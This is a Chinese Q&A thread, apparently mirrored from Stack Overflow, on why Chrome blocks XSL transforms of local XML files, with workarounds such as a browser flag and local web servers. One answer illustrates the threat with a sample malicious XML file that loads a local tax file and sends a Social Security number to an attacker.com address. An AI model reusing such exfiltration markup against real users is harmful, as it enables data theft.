Chrome可以对本地文件执行XSL转换吗?

ogq8wdun  于 2023-04-09  发布在  Go
关注(0)|答案(8)|浏览(195)

我正在研究xslt,并开始用w3schools上的例子进行测试。
然而,当我将xml和xsl保存在文件中并尝试在本地打开它们时,chrome不会执行xsl转换,它只是显示一个空白页面。
我已经在xml文档中添加了<?xml-stylesheet type="text/xsl" href="style.xsl">标签,firefox会按照预期的样子呈现它,而且,如果我通过web服务器查看文件,chrome会按照预期的样子显示文件。
当链接是本地的时候,chrome是不是在查找样式表信息上有问题?把href改为file:///C:/xsl/style.xsl没有任何区别。

不安全地尝试从具有URL文件:///C:/xsl-rpg/data.xml的帧加载URL文件:///C:/xsl-rpg/style. xsl。域、协议和端口必须匹配。

sqserrrh

sqserrrh1#

简短的回答是 “不,使用不同的浏览器之一”
这不起作用的原因是由于Chrome以一种有争议的方式解决了安全问题1(https://code.google.com/p/chromium/issues/detail?id=47416) 2(https://code.google.com/p/chromium/issues/detail?id=70088) 3(https://code.google.com/p/chromium/issues/detail?id=111905) 4(https://code.google.com/p/chromium/issues/detail?id=245452),通过阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.CSS文件。
在上面提到的问题中,用户要求更清晰的错误消息(因为域,协议和端口实际上匹配),或者至少显示不带样式的XML。Chrome开发人员忽略了这些请求。

ryhaxcpt

ryhaxcpt2#

您可以在本地运行带有--allow-file-access-from-files标志的Chrome。
在OS X上,从终端应用程序运行:
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
在Windows上:从命令提示符下运行:
path\to\your\chrome\chrome.exe --allow-file-access-from-files
注意:如果Chrome当前正在运行,您可能需要退出它。

iqxoj9l9

iqxoj9l93#

如果你想坚持OP,答案是否定的(正如其他人所指出的那样),但解决这个问题的一种方法是运行一个简单的web服务器并通过chrome中的http打开文件。如果你安装了python 2.x,你可以通过键入以下命令来运行web服务器:

python -m SimpleHTTPServer

Python 3.x:

python3 -m http.server

然后在chrome中使用http://localhost:8000/yourfile.xml打开文件。希望你只是想完成你的工作,而不是必须使用file://打开文件

5fjcxozz

5fjcxozz4#

在Chrome Bug页面上花了一点时间破译--他们非常热衷于不解释问题是什么,以及为什么他们选择打破所有人而不是不打破所有人。
假设我有一个XML文件- * 某处 * -在我的硬盘驱动器上,例如:
C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml
一个恶意的实体- * 不知何故 * -设法在我的计算机上删除了一个恶意的Xml文件,例如:
C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml
假设TrojanVirusWorm.xml包含一个样式表处理指令(PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后,攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。
显然,有一种方法可以让XML文件读取XSD文件的内容(而不是被XSD文件转换):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白XML文件是如何读取样式表文件的,但Chrome团队向我们保证,这是一个危险,而且无法解决。
其他浏览器都解决了这个问题。他们解决了这个问题,因为这不是问题。

yqlxgs2m

yqlxgs2m5#

根据xsl文件查看xml的解决方法
假设我们有一个some_file.xml文件,其中包含头文件:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>

1.我们下载文件https://some-site.com/Common.xsl并将其放在some_file.xml旁边
1.将部分标题从href="https://some-site.com/Common.xsl"更改为href="http://localhost:8001/Common.xsl"
1.在我们的文件目录中运行-python3 -m http.server 8001
1.在任何浏览器中打开http://localhost:8001/some_file.xml

91zkwejq

91zkwejq6#

1.创建如下所示的批处理文件,并将其保存到例如:chromex.cmd
“C:\Program Files\Google\Chrome\Application\Chrome.exe”--user-data-dir=C:\Temp --allow-file-access-from-files %1
1.将.xml文件的默认应用程序设置为chromex.cmd

ntjbwcob

ntjbwcob7#

您可以通过更改浏览器设置来启用Chrome渲染XSL文件。更安全的方法是通过本地Web服务器访问它,例如Visual Studio Code Live Server或Apache。有关步骤,请参阅XSLT Won't Render on Local Files

tyg4sfes

tyg4sfes8#

最简单和快速的解决方法是安装Chrome的Web服务器,它是开源的。
https://chrome.google.com/webstore/detail/web-server-for-chrome/ofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en
一旦安装需要选择一个文件夹,这将是可以访问的服务器从Chrome选项卡与默认的URL为-http://127.0.0.1:8887/
现在可以将XML文件和样式表文件夹/文件放在步骤2中选择的文件夹下。XML文件应该有对样式表文件的引用,可以直接打开XML文件查看样式表。

相关问题